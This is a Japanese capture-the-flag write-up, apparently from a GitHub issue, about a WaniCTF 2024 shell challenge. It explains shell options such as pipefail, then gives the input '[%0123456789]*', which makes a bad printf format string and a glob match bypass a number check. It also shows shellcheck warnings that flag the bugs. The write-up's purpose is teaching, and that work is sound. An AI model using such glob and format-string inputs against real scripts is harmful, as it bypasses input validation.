Open roaris opened 4 months ago
#!/usr/bin/env sh
set -euo pipefail
printf "Can you guess the number? > "
read i
if printf $i | grep -e [^0-9]; then
printf "bye hacker!"
exit 1
fi
r=$(head -c512 /dev/urandom | tr -dc 0-9)
if [[ $r == $i ]]; then
printf "How did you know?!"
cat flag.txt
else
printf "Nope. It was $r."
fi
if [[ $r == $i ]]
が問題なのは気付いた
if [[ $r == "$i" ]]
にしないと、$iを*にすることで、if文が成立する
HackTheBoxで履修済み https://github.com/roaris/ctf-log/issues/39#issuecomment-2104896085
しかし、数字以外の文字が$iに含まれているとif printf $i | grep -e [^0-9]
が成立してしまう
これをバイパスする方法を考えていたが、分からなかった
$iを%d 1
にすると、if printf $i | grep -e [^0-9]
を回避出来るが、今度はif [[ $r == $i ]]
を成立させられなくなる
シェルスクリプトのif文は、コマンドの終了コードが0の場合に成立するらしい(意識したことなかった)
終了コードはecho $?
で確認出来る
$ docker-compose exec socket sh
/ $ printf aaa | grep -e [^0-9]
aaa
/ $ echo $?
0
/ $ printf 012 | grep -e [^0-9]
/ $ echo $?
1
次にset -euo pipefail
である
setコマンドとは、manコマンドによると、The SET command changes run-time configuration parameters.
とのこと
set -o
で、各パラメータが有効になっているか確認出来る
/ $ set -o
errexit off
noglob off
ignoreeof off
monitor on
noexec off
xtrace off
verbose off
noclobber off
allexport off
notify off
nounset off
errtrace off
vi off
pipefail off
set -o <パラメータ名>
で、パラメータを有効にし、set +o <パラメータ名>
で、パラメータが無効になる
/ $ set -o errexit
/ $ set -o
errexit on
noglob off
ignoreeof off
monitor on
noexec off
xtrace off
verbose off
noclobber off
allexport off
notify off
nounset off
errtrace off
vi off
pipefail off
/ $ set +o errexit
/ $ set -o
errexit off
noglob off
ignoreeof off
monitor on
noexec off
xtrace off
verbose off
noclobber off
allexport off
notify off
nounset off
errtrace off
vi off
pipefail off
かえってややこしくなるだけだと思うが、set -o errexit
はset -e
と書けたりする
/ $ set -e
/ $ set -o
errexit on
noglob off
ignoreeof off
monitor on
noexec off
xtrace off
verbose off
noclobber off
allexport off
notify off
nounset off
errtrace off
vi off
pipefail off
set -u
はset -o nounset
と同じ
/ $ set -u
/ $ set -o
errexit off
noglob off
ignoreeof off
monitor on
noexec off
xtrace off
verbose off
noclobber off
allexport off
notify off
nounset on
errtrace off
vi off
pipefail off
つまり、set -euo pipefail
は、set -o errexit
& set -o nounset
& set -o pipefail
と同じである
によると、
errexit : コマンドが終了コード0以外で終了した場合,一部の場合を除いて即座に終了する nounset : 未定義の変数を参照するとエラー・メッセージを表示する pipefail : パイプライン全体の終了コードを、パイプラインに書いたコマンドのうち「最後のコマンドの終了コード」から、「エラーになった最後のコマンドの終了コード」(エラーになったコマンドがなければ 0)に変更する
らしい
本来、パイプラインでコマンドを実行した場合、終了コードは最後のコマンドの終了コードになる
/ $ false | echo a
a
/ $ echo $?
0
false
は常に終了コードが1になるコマンドだが、echo a
の終了コードが0になるため、false | echo a
の終了コードは0である
シェルスクリプトにおいて、パイプラインの中のコマンドがどれか1つでも失敗したら(=終了コードが0以外になったら)、スクリプトを終了したいというモチベーションがある errexitとpipefailを組み合わせることで、これを実現できる
set -eo pipefail
false | echo "aaa"
echo "bbb"
pipefailによって、false | echo "aaa"
の終了コードが1になる
終了コードが1なので、errexitにより、false | echo "aaa"
が終了した時点でスクリプトが終了する
なので、echo "aaa"
は実行されるが、echo "bbb"
は実行されない
以下のシェルスクリプトは全てecho "aaa"
とecho "bbb"
の両方が実行される
false | echo "aaa"
echo "bbb"
set -o pipefail
false | echo "aaa"
echo "bbb"
set -e
false | echo "aaa"
echo "bbb"
今回の問題では、pipefailが有効になっていることが重要
もし入力に数字以外の文字が含まれていたとしても、printf $i | grep -e [^0-9]
のprintf $i
の終了コードが0以外なら、printf $i | grep -e [^0-9]
の終了コードも0以外になり、if文が成立せずに済む
printfに不正なフォーマット指定子を与えると、終了コード1が返る
/ $ printf %1
sh: %1: invalid format
/ $ echo $?
1
そして、if [[ $r == $i ]]
は$iを*にすることで成立すると書いたが、正確に言うと、$iでglobが使える、である
glob : https://ja.wikipedia.org/wiki/%E3%82%B0%E3%83%AD%E3%83%96
printfで不正なフォーマット指定子を与えることと、if [[ $r == $i ]]
を成立させることを考えると、[%0123456789]*
を入力すれば良い
$ nc localhost 7580
Can you guess the number? > [%0123456789]*
[
How did you know?!FAKE{this_is_fake_flag}
shellcheck https://www.shellcheck.net/# を使うと、シェルスクリプトのバグを見つけることが出来る
$ shellcheck myscript
[Line 3:](javascript:setPosition(3, 10))
set -euo pipefail
^-- [SC3040](https://www.shellcheck.net/wiki/SC3040) (warning): In POSIX sh, set option pipefail is undefined.
[Line 7:](javascript:setPosition(7, 1))
read i
^-- [SC2162](https://www.shellcheck.net/wiki/SC2162) (info): read without -r will mangle backslashes.
[Line 9:](javascript:setPosition(9, 11))
if printf $i | grep -e [^0-9]; then
^-- [SC2059](https://www.shellcheck.net/wiki/SC2059) (info): Don't use variables in the printf format string. Use printf '..%s..' "$foo".
^-- [SC2086](https://www.shellcheck.net/wiki/SC2086) (info): Double quote to prevent globbing and word splitting.
^-- [SC2062](https://www.shellcheck.net/wiki/SC2062) (warning): Quote the grep pattern so the shell won't interpret it.
^-- [SC3026](https://www.shellcheck.net/wiki/SC3026) (warning): In POSIX sh, ^ in place of ! in glob bracket expressions is undefined.
Did you mean: ([apply this](javascript:applyFixIndex([3])), apply [all SC2086](javascript:applyFixCode(2086)))
if printf "$i" | grep -e [^0-9]; then
[Line 16:](javascript:setPosition(16, 4))
if [[ $r == $i ]]; then
^-- [SC3010](https://www.shellcheck.net/wiki/SC3010) (warning): In POSIX sh, [[ ]] is undefined.
^-- [SC2053](https://www.shellcheck.net/wiki/SC2053) (warning): Quote the right-hand side of == in [[ ]] to prevent glob matching.
[Line 20:](javascript:setPosition(20, 12))
printf "Nope. It was $r."
^-- [SC2059](https://www.shellcheck.net/wiki/SC2059) (info): Don't use variables in the printf format string. Use printf '..%s..' "$foo".
(warning): Quote the right-hand side of == in [[ ]] to prevent glob matching.
と書いてある
set -euo pipefail
について、warningは出ていない
この問題においては脆弱性となったが、本来は望ましい設定なので、出てこないのは当然だろう
https://github.com/wani-hackase/wanictf2024-writeup/tree/main/mis/sh
本番で解けなかった問題